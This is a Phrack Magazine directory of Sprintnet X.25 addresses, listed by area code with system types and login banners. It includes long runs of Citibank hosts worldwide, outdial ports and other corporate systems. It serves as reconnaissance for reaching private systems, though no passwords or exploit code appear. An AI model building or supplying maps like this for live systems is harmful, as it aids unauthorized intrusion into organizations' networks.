213 221A               TELENET ASYNC TO 3270 SERVICE
213 248  *
213 249  *
213 262  *
213 265  *
213 340    Prime       PRIMENET 23.2.0 TRNGW
213 336  *
213 337  $ HP-3000
213 351    Unix/SunOS  SunOS Release 4.1.2 (X25)
213 357    Unix/SunOS  SunOS Release 4.1.1 (X25)
213 359    Unix
213 371  *
213 373    HP-3000     SAGAN.HP.COM
213 412  $             outdial (213)
213 413  $             outdial (213)
213 540  *
213 541  *
213 542  *
213 543  *
213 660
213 1052 $             Environment Control Monitor
213 1053 $ Unix        milpitas login:
213 1054 *
213 1055 $             Environment Control Monitor
213 1056 *
213 1057 $             Denver Service System (ECM)
213 1064 *
213 1065   HP-3000     EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON.
213 1073
213 1079 *
213 1160 *
213 1418 *
213 1419 *
213 1420 *
213 1421 *
213 1422 *
213 1423 *
213 1424 *
213 1425 *
213 1426 *
213 1427 *
213 1428 *
213 1429 *
213 1430 *
213 1450               MACNET:




214  -  Texas  Scanned: [0 - 2000]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
214 20                 SIM3278
214 21                 SIM3278
214 22   $             outdial (214)
214 42     VAX/VMS     Username:
214 60     HP-3000     DELTA.RCO.NTI
214 68   $ VAX/VMS     GTECVC
214 76     Cyber       Power Computing Cyber Service
214 231
214 240
214 245  *
214 337
214 352                IST451I ENTER VALID COMMAND - NETX B0A8VD00
214 355  *
214 358  *
214 364  $ VAX/VMS     GTECVC
214 366                Renex Connect, Enter service code -
214 371    Prime       PRIMENET 21.0.2S GCAD..
214 372
214 373  *
214 1031 *
214 1032 *
214 1033 *
214 1034 $             (echo)
214 1035 *
214 1040 $             (echo)
214 1048               Renex Connect, Enter terminal type or "M" for menu
214 1070               BT-Tymnet Gateway  please log in: information
214 1071   Cyber       You may enter CDCNET commands.
214 1075   Cyber       You may enter CDCNET commands.
214 1131 *
214 1151   VAX/VMS     Username:
214 1152 *
214 1153
214 1158 *
214 1161   VAX/VMS     Username:
214 1230 *
214 1237
214 1238
214 1241 *
214 1242 *
214 1243 *
214 1244 *
214 1245 *
214 1246 *
214 1247 *
214 1248 *
214 1249 *
214 1250 *
214 1251 *
214 1252 *
214 1253 *
214 1254 *
214 1255 *
214 1256 *
214 1257 *
214 1258 *
214 1260 *
214 1261 *
214 1262 *
214 1263 *
214 1264 *
214 1265   VAX/VMS     Username:
214 1277 *
214 1278 *
214 1334 *
214 1335 *
214 1336 *
214 1337 *
214 1338 *
214 1339 *
214 1340 *
214 1341 *
214 1343 *
214 1358 *
214 1359 *
214 1362   VAX/VMS     Username:
214 1363 *
214 1364 *
214 1365 *
214 1366 *




215  -  Pennsylvania  Scanned: 0 - 300

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
215 5    $             outdial (215)
215 22   $             outdial (215)
215 30   *
215 38   *
215 40                 VU/TEXT
215 44   *
215 55   *
215 60   *
215 66     Prime       NewsNet
215 112  $             outdial (215)
215 121    VM/CMS      TOWERS PERRIN ONLINE--PHILA
215 134  *
215 135                VU/TEXT
215 139  *
215 140                VU/TEXT
215 143  *
215 154
215 163    Unix
215 164    Unix
215 165    Unix
215 166    Unix
215 167    Unix
215 168    Unix
215 169    Unix
215 170    Unix
215 171    Unix
215 172  *
215 173  *
215 176  *
215 179    Unix        PLASPEC Engineering & Marketing Network
215 231
215 251    Unix
215 252    Unix
215 253    Unix
215 254    Unix
215 255    Unix
215 261    VAX/VMS     File Transfer and Gateway Service Node ARGO
215 262
215 263
215 263
215 264                %@CVTTAUD@dUYECVGUIiED
215 270                CONNECTED TO PACKET/400
215 530  $
215 531  $
215 532  $
215 533  $
215 534  $
215 535  $
215 536  $
215 537  $
215 538  $
215 539  $
215 540  $
215 541  $




216  -  Ohio  Scanned: [0 - 2000]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
216 20   $             outdial (216)
216 21   $             outdial (216)
216 38     VAX/VMS     Username:
216 49
216 51   *
216 59   *
216 60                 APPLICATION:
216 63   *
216 64     Prime       PRIMENET 20.2.4 LIPC
216 74   $ hp-x000
216 75   *
216 120  $             outdial (216)
216 134  *
216 135  *
216 140
216 201  $ HP-3000
216 202  *
216 203  *
216 204  *
216 205  *
216 209  *
216 210  *
216 211  *
216 212  $ HP-3000
216 530  *
216 531  *
216 532  *
216 533  *
216 534  *
216 535  *
216 536  *
216 537  *
216 538  *
216 539  $             (echo)
216 1351   Prime       PRIMENET 22.1.4 OPSPRO
216 1352   Prime       Good morning
216 1353   Prime       PRIMENET 22.1.4 OPSPRO
216 1354   Prime       Good morning
216 1355 $ Prime       PRIMENET 22.1.4.R63 OPSSEC
216 1356 *
216 1357   Prime       Good morning
216 1358   Prime       PRIMENET 22.1.4 OPSPRO
216 1369 *
216 1370 *
216 1371 *
216 1372 *



217  -  Illinois  Scanned: 0 - 200

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
217 45   *
217 46   *




219  -  Indiana  Scanned: 0 - 200

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
219 3      Prime       PRIMENET 22.1.0vA2 NODE.0
219 8      Prime       PRIMENET 23.2.0vA NODE.8
219 9                  ENTER GROUP NAME>
219 10                 Lincoln National Corporation
219 35   $             MHP201A ZMA0PZ10  * VERSION 6.0.1 *.
219 140    Prime       PRIMENET 23.2.0vA CS.FTW
219 150  *



222  -  unknown  Scanned: various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
222 100    Prime
222 140    Prime
222 320    Prime
222 340




223  -  Citibank  Scanned: various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
223 1    $ GS/1        CITITRUST/WIN Gateway!  (Toll 25 cents)
223 6                  PLEASE ENTER TRANSACTION ID:
223 10     Prime
223 11     Prime
223 13     Prime
223 15     Prime
223 17                 CDS DATA PROCESSING SUPPORT
223 19   $ HP-3000
223 26                 NETWORK USER VALIDATION.
223 31
223 32                 enter a for astra
223 34                 NETWORK USER VALIDATION.
223 35     VAX/VMS     TREASURY PRODUCTS
223 39     Major BBS   GALACTICOMM   User-ID? new
223 40                 Global Report from Citicorp
223 41     VOS         (other systems connect from there)
223 42                 CITICORP/CITIBANK - 0005,PORT 3
223 46   $             Enter Secure Access ID -02->
223 47                 CCMS
223 48A                CITIBANK ,PORT 5
223 50     Prime
223 54                 CITI CASH MANAGEMENT NETWORK -
223 55                 NETWORK USER VALIDATION.
223 57
223 65     VOS
223 68   $             Citimail II
223 70                 ELECTRONIC CHECK MANAGER  ENTER 'ECM'
223 71                            ""
223 74A                           ""
223 79     VAX/VMS     Audit login ---  Your session will be recorded.
223 87     VOS         CitiShare Milwaukee, Wisconsin
223 91     VAX/VMS     Unauthorized Use Is Prohibited
223 92                 <<please enter logon>>
223 93     Major BBS?  Citibank Customer Delivery Systems (#95298116)
223 94                 <<ENTER PASSWORD>>
223 95
223 96                 <<ENTER PASSWORD>>
223 103                <<ENTER PASSWORD>>
223 104  $ VAX/VMS
223 106
223 175                enter a for astra
223 176    VAX/VMS
223 178                NETWORK USER VALIDATION.
223 179  $
223 183    Prime
223 184    Prime       PRIMENET 23.2.0vB PROD-C
223 185                Citibank Hongkong
223 186                Citibank Hongking
223 187  $ DECserver
223 188    GS/1        CITITRUST/WIN Gateway!  (Toll 25 cents)
223 189  $ DECserver
223 191                (need x.citipc terminal emulator)
223 193    Prime
223 194    VAX/VMS
223 199  $
223 200                NETWORK USER VALIDATION.
223 201                C/C/M INT'L 3    ENTER YOUR ID : [      ]
223 202                C/C/M INT'L 4    ENTER YOUR ID : [      ]
223 204                C/C/M INT'L 6    ENTER YOUR ID : [      ]
223 208                C/C/M            ENTER YOUR ID : [      ]
223 210                NETWORK USER VALIDATION.
223 211                CITI Master Policy Bulletin Board
223 212                            ""
223 216    VAX/VMS     *** Unauthorized Access Prohibited ***
223 217
223 218
223 222    Unix SysV   Citibank PDC Registration System
223 223                CITIBANK SINGAPORE
223 223    Unix        discovery login:
223 227    Prime       PRIMENET 23.2.0.R43 BASCOS
223 234    VCP-1000    Terminal Server
223 256    VOS         CITIBANK - NSO      NEW YORK, NY
223 258    VOS         CITIBANK - NSO      NEW YORK, NY
223 259    VOS         CITIBANK - NSO      NEW YORK, NY
223 260    VAX/VMS     Unauthorized Use Is Prohibited
223 503    ???         :
223 508
223 510    VOS         Citibank Puerto Rico
223 512    VAX/VMS     #6 Node: NYF050
223 513                CITI CASH MANAGEMENT NETWORK -
223 515    Prime       PRIMENET 23.2.0.R43 BASCOS
223 519    Prime       PRIMENET 23.2.0.R43 OBSPOM
223 520  $             CitiMail II
223 521  $ Major BBS   User-ID?                                 new
223 523    Prime       PRIMENET 23.2.0.R43 LATPRI
223 524  $ GS/1        Cititrust (Cayman)'s WIN Gateway!
223 527                INVALID COMMAND SYNTAX
223 600
223 1000               CITI CASH MANAGEMENT NETWORK
223 1002
223 3002               NETWORK USER VALIDATION.
223 3003   ???         Welcome to Citiswitch, New York
223 3008   ???                      ""
223 3011   Unix        DG/UX Release 4.32. AViiON  (gnccsvr)
223 3012   Unix        DG/UX Release 4.32. AViiON  (gnccsvr)
223 3020   Prime
223 3030 $ VAX/VMS
223 3031 *
223 3042A              CITI Master Policy Bulletin Board
223 3044
223 3046
223 3048 $ DECserver
223 3052   Unix        DG/UX Release 4.32. AViiON  (parsvr)
223 3056 *
223 3060B  TBBS        Citicorp Futures Corp.
223 3064 $
223 3066
223 3067               NETWORK USER VALIDATION.
223 3070 *
223 3074               NETWORK USER VALIDATION.
223 3075A  Port Selec  Systems: EQX/SUP,SECURID,TS,TS1,TS2,TS3,PBX
223 3077
223 3080A              PERSONNEL SERVICES & TECHNOLOGY'S DATA PABX NETWORK.
223 3082
223 3083               ENQUIRE       GSM User ID?
223 3086   VOS         Citishare
223 3088   HP-3000     SYSTEMC.HP.CITIBANK
223 4700 *
223 8050               ILLEGAL SOURCE ADDRESS 0B 80
223 8052
223 8053               TYPE .
223 8056               ILLEGAL SOURCE ADDRESS 0B 80
223 8057 *
223 8058               ILLEGAL SOURCE ADDRESS 0B 80
223 8059               ILLEGAL SOURCE ADDRESS 0B 80
223 8100   Prime       PRIMENET 23.1.0 LATRG1
223 8101   Prime       PRIMENET 23.1.0 LATRG2
223 8201
223 8202               Enter password:
223 8602   Prime       PRIMENET 23.2.0.R43 OBSPOM
223 8804               11 - FORMAT ERROR
223 10009              I/P LOGIN CODE
223 10010              I/P LOGIN CODE
223 10015              I/P LOGIN CODE
223 10030              UMP 15, TP (DEV A)  >
223 10032              UMP 2,  XGATE (NODE 6)
223 10050              I/P LOGIN CODE


                           ==Phrack Magazine==

               Volume Four, Issue Forty-Two, File 9 of 14

                       <Sprintnet Directory Part 2>


224  -  Citibank  Scanneds: various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
224 1                  CITIBANK
224 2      VAX/VMS     Global Report
224 4      Prime       PRIMENET 23.2.0vB PROD-A
224 5      DECserver
224 6                  CITIBANK CANADA-CB1
224 10                 CITIBANK BRASIL
224 11                 C/C/M
224 12     Prime       PRIMENET 23.2.0vA OZPROD
224 14                 C/C/M
224 16                 CITIBANK FRANKFURT
224 17     DECserver
224 20     DECserver
224 21
224 22
224 23                 CITIBANK N.A. BAHRAIN -  BOOK  SYSTEM
224 24                 NETWORK USER VALIDATION.
224 26
224 27                 CITIBANK JOHANNESBURG
224 30                 CITIBANK PIRAEUS
224 31                 ADAM_COSMOS
224 32                 CITIBANK LONDON
224 33                 CITIBANK PARIS
224 34                 CITIBANK LONDON
224 35                 DUBLIN_COSMOS
224 36                 CITIBANK ATG - TEST8.2
224 37
224 38                 CITIBANK LEWISHAM
224 39                 CITIBANK MILAN
224 40
224 41                 CITICORP/CITIBANK
224 42                 CITICORP/CITIBANK
224 43                 VIENNA_COSMOS
224 44                 CITIBANK LONDON
224 45                 NORDIC_COSMOS
224 46                 NORDIC_COSMOS
224 47                 Enter Secure Access ID -02->
224 48     Prime       CONNECTED TO 03 35-50
224 49                 CITIBANK FRANKFURT
224 50                 CITICORP/CITIBANK
224 51                 CITICORP CASH MANAGEMENT SERVICES
224 53                 JERSEY_COSMOS
224 55                 SIGN-ON NAO ACEITO
224 56     DECserver
224 57     VAX/VMS
224 61                 CITIBANK SYDNEY
224 62                 CITIBANK SINGAPORE
224 63                 CITIBANK MANILA
224 64     Prime
224 65                 CITIBANK SINGAPORE
224 68     DECserver
224 70                 London Branch Miniswitch
224 71                 CCM - Citi Cash Manager
224 73     DECserver
224 74                 CITI CASH MANAGEMENT NETWORK
224 75                 IBI MIS Systems
224 76
224 78                 CITIBANK HONG KONG
224 79                 CITIBANK
224 80     VAX/VMS     UNAUTHORIZED ACCESS to this SYSTEM is PROHIBITED
224 81
224 82     Prime       PRIMENET 23.2.0vB PROD-C
224 83     IBM 3708
224 85
224 86     Prime       PRIMENET 23.1.0 LATRG1
227 87     DECserver
224 89     Prime       PRIMENET 23.1.0 LATRG1
224 91     Prime
224 92     VCP-1000    Terminal Server (decserver clone)
224 93
224 95                 BMS==>
224 98                 C/C/M
224 100                Cityswitch
224 104                BMS==>
224 105
224 108
224 110
224 113    Prime       PRIMENET 23.1.0 LATRG2
224 122    VAX/VMS?    Global Report from Citicorp
224 125                PLEASE ENTER TRANSACTION ID:
224 128    Prime       PRIMENET 23.2.0.R43 LATPRI
224 129
224 130    VAX/VMS     GLOBAL TREASURY PRODUCTS
224 132    Prime       PRIMENET 23.2.0vB PROD-B
224 135    VAX/VMS     CMAPD - SRPC Vax Development System
224 136    VAX/VMS     #6Node: NYF050
224 137    HP-3000
224 138
224 139    VAX/VMS     (restricted access system)
224 140    VAX/VMS               ""
224 141                :
224 142                C/C/M
224 143                CITI CASH MANAGEMENT NETWORK
224 147                C/C/M
224 148                CITIBANK LONDON
224 149                LISBON_COSMOS
224 150    DEC         Welcome to the DEC Gateway
224 153                CITI CASH MANAGEMENT NETWORK
224 155    Prime       PRIMENET 23.2.0vB PROD-B
224 157    DecServer
224 158
224 159                CDS DATA PROCESSING SUPPORT
224 160                (pad?)
224 161    VAX/VMS
224 162    Prime
224 163    Prime
224 164    Prime       PRIMENET 22.1.2 WINMIS
224 165    GS/1        LTN>
224 166    VAX/VMS     GLOBAL TREASURY PRODUCTS
224 167    VAX/VMS     GLOBAL TREASURY PRODUCTS
224 168    VAX/VMS     Global Report from Citicorp
224 170                ELECTRONIC CHECK MANAGER  ENTER 'ECM'
224 172                CitiMail II - Asia Pacific
224 174                PERSONNEL SERVICES & TECHNOLOGY'S DATA PABX NETWORK
224 175                Enter T or V for TSO or M for VM/CMS.
224 176    DECserver
224 177    VAX/VMS     Unauthorized Use Is Prohibited
224 179                <<please enter logon>>
224 180                Citibank N.A. PUERTO RICO
224 193                :
224 194    VOS         CitiShare Milwaukee, Wisconsin
224 195                Citimail II
224 196    Xyplex      X.25 Terminal Server
224 197    VAX/VMS
224 199
224 200    EMULEX      TCP/LAT-Compatible Terminal Server
224 204
224 205    Prime
224 207                Communications Subsystem For Interconnection
224 210    VOS         try "list_users"
224 211    Major-BBS   User-ID:
224 212                Master Policy Bulletin Board
224 213                %%%
224 214                INDIQUE O TIPO DE TERMINAL
224 216    VAX/VMS     *** Unauthorized Access Prohibited ***
224 217    Prime
224 218    DECserver
224 220                CHANNEL 01/049. ENTER CHOICE:
224 221                BUDAPEST_COSMOS (user 63)
224 222
224 223                CITIBANK SINGAPORE
224 227
224 230
224 234    VCP-1000    (decserver clone)
224 236                CITIBANK LEWISHAM
224 237    DECserver
224 300  $             CitiMail II
224 320    VAX/VMS
224 602    VOS         list_users
224 700  $             CitiMail II (Asia Pacific)
224 701    Prime       PRIMENET 23.2.0vB DEV-A
224 704    Prime       PRIMENET 23.2.0vB PROD-C
224 3004               Enter destination : node.port or :SFA
224 3006               Enter destination : node.port or :SFA
224 3010
224 3013               London Branch Miniswitch
224 3014               CONNECTED TO CITIBANK LONDON
224 3016               BMS==>
224 3024               BMS==>
224 3027               Enter destination : node.port or :SFA
224 3032               CITIBANK LONDON
224 3035   EMULEX      TCP/LAT-Compatible Terminal Server
224 3036   EMULEX      TCP/LAT-Compatible Terminal Server
224 3037 $             Citimail II - C.M.E.A
224 3038 $
224 3039 $             Citimvs X.25 Gateway
224 3043   VAX/VMS     UNAUTHORIZED ACCESS to this SYSTEM is PROHIBITED
224 3047               Enter destination : node.port or :SFA
224 3058 *
224 3059 *
224 3103               CITIBANK PARIS
224 3116               CITICORP/CITIBANK
224 3117   VAX/VMS     UNAUTHORIZED ACCESS TO THIS SYSTEM IS PROHIBITED
224 312  3 *
224 3124               CITIBANK MILAN
224 3127               CITIBANK MILAN
224 3128 *
224 3131               CITIBANK FRANKFURT
224 3133               CITIBANK FRANKFURT
224 3230
224 3231
224 3235               CITICORP/CITIBANK
224 3236               CITICORP/CITIBANK
224 4022
224 8006               Welcome to Citiswitch, HK
224 8008   VAX/VMS     GTN gateway/Regional Billing/PCSA/CMG accpt
224 8010
224 8011   Unix        INFOBASE2 login:
224 8014   Prime
224 8018 *
224 8022 *
224 8023 *
224 8026
224 8027
224 8030
224 8031
224 8033
224 8034
224 8035
224 8105               ENTER RESOURCE :
224 8106               Global Report from Citicorp
224 8122               CITIBANK TOKYO
224 8210
224 8211               CITIBANK MANILA
224 8410               CITIBANK SYDNEY
224 8412               CITIBANK SYDNEY
224 8414               PLEASE ENTER YOUR ID : -1->
224 8415   EMULEX      TCP/LAT-Compatible Terminal Server
224 8416   Prime
224 8509               CITIBANK HONGKONG
224 8620
224 8621
224 8622
224 8623
224 8624
224 8625
224 8626
224 8627
224 8629
224 8720               CITIBANK SINGAPORE
224 8722 *
224 8725 $ COSMOS
224 8730   DECserver
224 8731               CITIBANK SINGAPORE
224 9010   Prime
224 9011   VAX/VMS     *** Authorized Personnel Only ***
224 9150               CITIBANK HONGKONG




277  -  Apple Computer Inc.  Scanned: various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
277 125J   VAX/VMS     YODA  *AUTHORIZED USERS ONLY*
277 127    VAX/VMS     Apple Canada Inc.
277 128    VAX/VMS     For internal use only. CHATTERBOX
277 130J   VAX/VMS     YODA  *AUTHORIZED USERS ONLY*
277 133    ???         Apple Computer, Inc. X.25 PAD to IP/TCP/TELNET




301  -  Maryland  Scanned: [0 - 2000]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
301 20                 MEDLINE
301 21   *
301 26     PRIME       DNAMD1 Online
301 33     VOS         United Communications Computer Services Group
301 35                 User Access Verification    Username:
301 37                 MEDLINE
301 40                 MEDLINE
301 56                 U#=
301 46   *
301 54     VAX/VMS 5.2
301 56                 U#=
301 77   *
301 78   *
301 100    VOS         United Communications Computer Services Group
301 125    VAX/VMS
301 140                MEDLINE
301 150  $ VAX/VMS
301 165  *
301 170    VOS         United Communications Computer Services Group
301 253    Prime       Primecom Network 19.4Q.111 System 35
301 254    Prime       Primecom Network 19.4Q.111 System 59
301 307    Prime       ER!
301 310    Prime       Primecom Network 19.4Q.106 System 51
301 320    Prime       Primecom Network 19.4Q.111 System 53
301 330    Prime       Primecom Network 19.4Q.111 System 30
301 331    Prime       Primecom Network 19.4Q.111 System 31
301 332    Prime       Primecom Network 19.4Q.111 System 32
301 333    Prime       Primecom Network 19.4Q.111 System 33
301 335    Prime       Primecom Network 19.4Q.111 System 35
301 336    VAX/VMS     Welcome to VMS 4.6
301 341    Prime       Primecom Network 19.4Q.111 System 41
301 342    Prime       Primecom Network 19.4Q.111 System 42
301 343    Prime       Primecom Network 19.4Q.111 System 43
301 344    Prime       Primecom Network 19.4Q.111 System 44
301 345    Prime       Primecom Network 19.4Q.111 System 45
301 346    Prime       Primecom Network 19.4Q.111 System 46
301 351    Prime       Primecom Network 19.4Q.111 System 95
301 352    Prime       Primecom Network 19.4Q.111 System 52
301 353    Prime       Primecom Network 19.4Q.111 System 53
301 356    Prime       Primecom Network 18.4Y System 56
301 357    Prime       Primecom Network 19.4Q.111 System 57
301 358    Prime       Primecom Network 19.4Q.111 System 58
301 361    Prime       Primecom Network 19.4Q.111 System 31
301 364    Prime       Primecom Network 19.4Q.111 System 64
301 390    Prime       Primecom Network 19.4Q.111 System 90
301 391    Prime       Primecom Network 19.4Q.111 System 91
301 392    Prime       Primecom Network 19.4Q.111 System 92
301 393    Prime       Primecom Network 19.4Q.111 System 93
301 394    Prime       Primecom Network 19.4Q.111 System 30
301 395    Prime       Primecom Network 19.4Q.111 System 95
301 396    Prime       Primecom Network 19.4Q.111 System 96
301 397    Prime       Primecom Network 19.4Q.111 System 97
301 398    Prime       Primecom Network 19.4Q.111 System 98
301 441  *
301 442  *
301 443  *
301 444  *
301 447  *
301 448  *
301 449  *
301 450  *
301 455    Unix SysV   oldabacis login: (uucp)
301 521  $             NETX A000VD03 READY FOR LOGON
301 530                PLEASE ENTER  LOGIN
301 535A
301 546  *
301 548
301 558  *
301 559  *
301 560  *
301 563  $ VM/CMS?     INVALID-SW-CHARS
301 565    Unix        E.T.Net/The National Library of Medicine.
301 1130
301 1131
301 1134 *
301 1136 *
301 1139               8001A69E
301 1142               9769AFC6
301 1153 *
301 1230               You are not authorized to connect to this machine.
301 1241               Fannie Mae
301 1243               USER ID
301 1244 *
301 1245 *
301 1253 *
301 1551 *
301 2040 *
301 2042 *




302  -  Delaware  Scanned: 0 - 300

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
302 41   $             (running same/similar software as tymnet)




303  -  Colorado  Scanned: 0 - 1000

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
303 21   $             outdial (303)
303 33                 Password >
303 47   *
303 114  $             outdial (303)
303 115  $             outdial (303)
303 120    Prime       PRIMENET 22.1.3.R35 SAMSON
303 140                X29 Password:
303 141  *
303 142  *
303 242  $ VAX/VMS     AZTEK Engineering MicroVAX (AZTKD1)
303 268  *
303 330  *
303 333  *
303 338  *
303 561    Prime       PRIMENET 22.1.1.R11 SPARKY
303 579    Prime       PRIMENET 22.1.3.R35 CAESAR
303 800  *




304  -  West Virginia  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
304 101                ENTER: ASV2, ASV3 OR MPL780
304 130                ENTER: ASV2, ASV3 OR MPL780




305  -  Florida  Scanned: 0 - 2000

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
305 4                  USER ID
305 34                 USER ID
305 59                 .INVALID COMMAND
305 105  $             outdial (305)
305 106  $             outdial (305)
305 120  $             outdial (305)
305 121  $             outdial (305)
305 122  $             outdial (305)
305 135  *
305 140                .INVALID COMMAND
305 141                Select Desired System:
305 142                USER ID
305 145                USER ID
305 149    hp-x000     S901.NET.BUC
305 150  *
305 156                USER ID
305 162                WN01000000000000000000000000000
305 170  *
305 171    VM/CMS?     ENTER SWITCH CHARACTERS
305 172                WN01000000000000000000000000000
305 175                USER ID
305 177                WN01000000000000000000000000000
305 178    hp-x000     S901.NET.BUC
305 237                Comcast Information Services
305 241                WN01000000000000000000000000000
305 245  *
305 247
305 250    Unix
305 339                CONNECTED TO PACKET/74
305 347                CONNECTED TO PACKET/74
305 362                CLARIONET  Userid :  new
305 363                CLARIONET
305 364                CLARIONET
305 365                CLARIONET
305 366                CLARIONET
305 370  $
305 371    VAX/VMS     Usuario :
305 372  $ VAX/VMS     ORL001
305 471
305 472  $ HP-3000     MIA.MIA.EI
305 700
305 1036               CONNECTED TO PACKET/74
305 1037               CONNECTED TO PACKET/74
305 1043   Unix
305 1040               USER ID
305 1242   AOS
305 1243 *
305 1244   Prime       PRIMENET 22.1.3 DZ-MIA




309  -  Illinois  Scanned: [0 - 200]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
309 30   *




312  -  Illinois  Scanned: [0 - 1500]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
312 34                 YOUR ENTRY IS INCORRECT.
312 35   $ TSO
312 37   *
312 40
312 41                 YOUR ENTRY IS INCORRECT.
312 45                 YOUR ENTRY IS INCORRECT.
312 53     TSO         COMMAND UNRECOGNIZED
312 54     TSO
312 59                 Id Please:
312 64   $             Purdue Annex  (*.cc.purdue.edu)
312 65   $             MSG 1: COMMAND INVALID FROM PHTIB010
312 74   *
312 75   *
312 77   $             USER ID
312 78   $             USER ID
312 121                enter system id --
312 125  *
312 131    VM/CMS      SYSTEMV
312 150                PLEASE ENTER SUBSCRIBERID;PASSWORD
312 159                PLEASE ENTER SUBSCRIBERID;PASSWORD
312 160                USERID:
312 170  $ VAX/VMS     This is SKMIC4 - Authorized use only
312 233                USERID:
312 235
312 240  *
312 245  *
312 253  *
312 254  *
312 256                PLEASE LOGIN
312 257  *
312 258                ID:
312 269                CUSTOMER ID:
312 270                CUSTOMER ID:
312 271                CUSTOMER ID:
312 350  *
312 351    TSO
312 354  *
312 378                BAXTER ASAP SYSTEM (LINE EG75)
312 379    TSO
312 398  $             MHP201A ITVI0180  * VERSION 6.0.2 *.
312 400                BAXTER ASAP SYSTEM (LINE EGC7)
312 401                BAXTER ASAP SYSTEM (LINE EG4D)
312 402                BAXTER ASAP SYSTEM (LINE EGC5)
312 403    TSO
312 405    TSO
312 410  $             outdial (312)
312 411  $             outdial (312)
312 451    TSO
312 452                BAXTER ASAP SYSTEM (LINE EGED)
312 475  *
312 476  *
312 477  $             USER ID
312 520    Unix        R59X01 login:
312 521    Unix        R58X01 login:
312 522    Unix        R67X01 login:
312 524    Unix        R51X01 login:
312 525    Unix        R41X01 login:
312 526                PASSWORD
312 528                PASSWORD
312 530  *
312 531  *
312 532  $ VAX/VMS
312 533  *
312 534  $             (echo)
312 535  $             (echo)
312 536  $             (echo)
312 537  $             (echo)
312 538  $             (echo)
312 585  *
312 587  *
312 588  *
312 589  *
312 655    TSO
312 740                TELENET ASYNC TO 3270 SERVICE
312 762  *
312 763  *
312 764  *
312 765  *
312 766  *
312 767  *
312 768  *
312 769  *
312 770  $             TELENET ASYNC TO 3270 SERVICE
312 772  $             TELENET ASYNC TO 3270 SERVICE AB-NET
312 1130   Unix        R52X01 login:
312 1131   Unix        R61X01 login:
312 1132   Unix        R63X01 login:
312 1133   Unix        R40X01 login:
312 1134   Unix        R43X01 login:
312 1135   Unix        R46X01 login:
312 1139   Unix        R65X01 login:
312 1140   Unix        R54X01 login:
312 1141   Unix        R71X01 login:
312 1142   Unix        R56X01 login:
312 1143   Unix        R55X01 login:
312 1144   Unix        R48X01 login:
312 1150   Unix        R47X01 login:
312 1151   Unix        R62X01 login:
312 1152   Unix        R45X01 login:
312 1153   Unix        R42X01 login:
312 1154   Unix        R74X01 login:
312 1155   Unix        R60X01 login:
312 1177 *
312 1179 *
312 1232               REQUEST IN VIOLATION OF SYSTEM SECURITY STANDARDS
312 1233               REQUEST IN VIOLATION OF SYSTEM SECURITY STANDARDS
312 1250               YOUR ENTRY IS INCORRECT.
312 1251               YOUR ENTRY IS INCORRECT.
312 1258   Prime       PRIMENET 23.2.0.r26 HS6650
312 1259               ENTER ID   (Westlaw)
312 1270 *
312 1271 *
312 1272 *
312 1275 *
312 1301               MHP201A A00B1001  * VERSION 5.5.3 *.
312 1302               MHP201A A00B1101  * VERSION 5.5.3 *.
312 1303               MHP201A A00B1101  * VERSION 5.5.3 *.
312 1304               MHP201A A00B1101  * VERSION 5.5.3 *.
312 1305               MHP201A A00B1101  * VERSION 5.5.3 *.
312 1306               MHP201A A00B1101  * VERSION 5.5.3 *.
312 1307               MHP201A A00B1101  * VERSION 5.5.3 *.
312 1308               MHP201A A00B1101  * VERSION 5.5.3 *.
312 1309               MHP201A A00B1101  * VERSION 5.5.3 *.
312 1310               MHP201A A00B1101  * VERSION 5.5.3 *.
312 1311               MHP201A A00B1101  * VERSION 5.5.3 *.
312 1340 *
312 1341               ENTER ID   (Westlaw)
312 1534 *
312 1535 *




313  -  Michigan  Scanned: [0 - 2000]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
313 24   $             outdial (313)
313 40                 Autonet Line 3130095084
313 41                 Autonet Line 3130095084
313 62                 Merit:X.25 Gateway
313 75   *
313 82                 Enter "CMS userid", "TSO userid ", "SIMVTAM termid"
312 219                enter system id --
313 101  $             outdial (313)
313 111  $             outdial (313)
313 140  $             USER ID
313 144  $ DTC         DTCHQ02.WD.WD
313 145                Please enter your Access Code ?
313 146                Please enter your Access Code ?
313 148                PLEASE ENTER SUBSCRIBERID;PASSWORD
313 152    Unix/SunOS  SPRINT.COM SunLink X.29 service
313 153                MHP1201I TERMINAL CONNECTED TO PACKET/74
313 160                PASSWORD (this will hang you up)
313 164                VU/TEXT
313 165  *
313 171                U#=
